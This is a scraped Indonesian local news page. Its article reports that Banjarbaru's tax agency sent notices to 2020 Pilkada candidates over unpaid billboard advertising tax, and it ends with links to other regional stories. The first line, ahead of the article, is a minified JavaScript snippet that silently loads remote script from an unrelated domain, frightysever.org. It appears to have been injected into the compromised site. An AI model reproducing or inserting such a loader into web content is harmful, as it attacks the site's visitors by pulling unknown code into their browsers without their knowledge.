(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Menjelang perhelatan Pilkada tahun 2020, saat ini telah banyak pemasangan reklame para kandidat bakal calon Gubernur, Walikota dan Wakil Walikota, yang bertebaran di sejumlah wilayah di Kota Banjarbaru.
Tentunya bagi mereka yang telah memastikan maju baik di level Pilgub maupun Pilwali, pemasangan reklame merupakan ajang memperkenalkan serta mempromosikan diri kepada masyarakat.
Secara mata telanjang, maraknya pemasangan reklame dapat terlihat disepanjang Jalan A Yani yang juga menjadi jalan utama Kota Banjarbaru. Selain itu, disejumlah ruas jalan Kecamatan juga dapat ditemukan meskipun tidak sebanyak di Jalan A Yani.
Meski demikian, rupanya sampai saat ini pemasangan reklame para calon peserta Pilkada tersebut belumlah berbayar pajak. Padahal statusnya saat ini ialah perseorangan.
Menurut UU No 28 tahun 2009 tentang Pajak Daerah dan Retribusi Daerah, lalu Perda Kota Banjarbaru No 12 tahun 2011 tentang Pajak Reklame, setiap orang pribadi atau badan yang menyelenggarakan reklame diwajibkan untuk membayar pajak reklame.
Alhasil, Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Kota Banjarbaru lantas bertindak cepat dengan menyurati para peserta Pilkada.
Kepala BP2RD Banjarbaru, Rustam Effendi, mengatakan dirinya telah mengirim surat kepada empat kandidat yang sampai saat ini telah memasangkan reklamenya di kawasan Banjarbaru.
Adapun, surat resmi yang memuat perihal Pemberitahuan Pajak Reklame dilayangkan kepada Aditya Mufti Arifin, Sofwat Hadi, Nadjmi Adhani hingga Denny Indrayana (kandidat bakal calon gubernur). “Semuanya yang memasang reklame promosi Pilkada kita kirim surat. Tidak satupun yang terlewati,” tegasnya.
Rustam menjelaskan pemungutan pajak reklame ini akan dilakukan pada awal bulan Januari 2020. Sembari itu, pihak BP2RD juga akan meminta para calon peserta Pilkada untuk segera melaporkan tentang reklamenya, baik jumlah, titikhingga dimensi atau ukurannya. “Kita akan menunggu pelaporan ini hingga pertengahan bulan. Apabila tetap tak menggubris dan melaporkan maka akan kita tindak lanjuti,” imbaunya.
Rustam menuturkan bahwa pungutan pajak ini berlaku untuk semua reklame bentuk dan jenis apa saja. Baik spanduk, baliho hingga banner-banner. “Semua sifatnya yang termasuk reklame promosi, termasuk (spanduk) yang di pinggir jalan atau di rumah-rumah makan maupun warung. Kita akan kenakan pajak sesuai aturan,” bebernya.
Rustam sendiri berharap agar peraturan tentang pajak reklame ini dapat diikuti oleh pemasang reklame. Pungutan pajak akan dihentikan, usai para calom Pilkada 2020 ini telah resmi ditetapkan KPU. (Rico)
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.